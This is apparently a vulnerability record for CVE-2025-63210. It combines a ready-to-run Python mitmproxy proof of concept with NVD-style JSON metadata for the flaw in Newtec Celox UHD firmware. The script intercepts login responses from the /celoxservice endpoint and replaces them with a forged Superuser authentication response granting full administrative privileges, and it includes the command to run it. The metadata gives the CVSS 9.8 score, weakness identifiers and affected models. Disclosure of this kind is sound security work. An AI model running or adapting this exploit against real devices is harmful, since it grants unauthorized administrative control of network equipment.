CVE-2025-63210

# CVE-2025-63210 Authentication Bypass PoC # Target: Newtec Celox UHD (CELOXA504, CELOXA820) # Firmware: celox-21.6.13 import mitmproxy.http from mitmproxy import ctx import json class CeloxAuthBypass: def __init__(self): self.target_endpoint = "/celoxservice" def request(self, flow: mitmproxy.http.HTTPFlow): # Log intercepted requests if self.target_endpoint in flow.request.pretty_url: ctx.log.info(f"Intercepted: {flow.request.pretty_url}") ctx.log.info(f"Method: {flow.request.method}") ctx.log.info(f"Path: {flow.request.path}") def response(self, flow: mitmproxy.http.HTTPFlow): if self.target_endpoint in flow.request.pretty_url: # Check if this is a loginWithUserName request if "loginWithUserName" in flow.request.text: ctx.log.info("Detected loginWithUserName request") # Original response analysis try: original_response = json.loads(flow.response.text) ctx.log.info(f"Original response: {json.dumps(original_response, indent=2)}") except: ctx.log.error("Failed to parse original response") return # Inject forged authentication response forged_response = { "loginWithUserNameResponse": { "return": { "userRole": "Superuser", "authenticated": True, "sessionId": "FORGED_SESSION_ID", "username": "attacker", "privileges": ["FULL_ACCESS", "ADMIN", "CONFIG"] } } } # Modify the response flow.response.text = json.dumps(forged_response) ctx.log.info("Injected forged authentication response") ctx.log.info(f"Forged response: {json.dumps(forged_response, indent=2)}") # Run with: mitmdump -s cve_2025_63210_poc.py addons = [CeloxAuthBypass()]

{"cve": {"id": "CVE-2025-63210", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:49.207", "lastModified": "2026-01-15T19:56:05.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Newtec Celox UHD (models: CELOXA504, CELOXA820) running firmware version celox-21.6.13 is vulnerable to an authentication bypass. An attacker can exploit this issue by modifying intercepted responses from the /celoxservice endpoint. By injecting a forged response body during the loginWithUserName flow, the attacker can gain Superuser or Operator access without providing valid credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-302"}, {"lang": "en", "value": "CWE-303"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:newtec:celoxa504_firmware:celox-21.6.13:*:*:*:*:*:*:*", "matchCriteriaId": "EA556A8D-5972-437C-9A37-FC4F2B656267"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:newtec:celoxa504:-:*:*:*:*:*:*:*", "matchCriteriaId": "F677853F-1185-4595-AB38-D753C8D3B823"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:newtec:celoxa820_firmware:celox-21.6.13:*:*:*:*:*:*:*", "matchCriteriaId": "3AF7F111-E205-440D-9666-1C56A879B98C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:newtec:celoxa820:-:*:*:*:*:*:*:*", "matchCriteriaId": "4BB5D883-F946-43D3-80B1-5642EFA921AB"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63210_Newtec%20Celox%20UHD%20Authentication%20Bypass%20_%20Privilege%20Escalation", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.newtec.com/", "source": "[email protected]", "tags": ["Product"]}]}}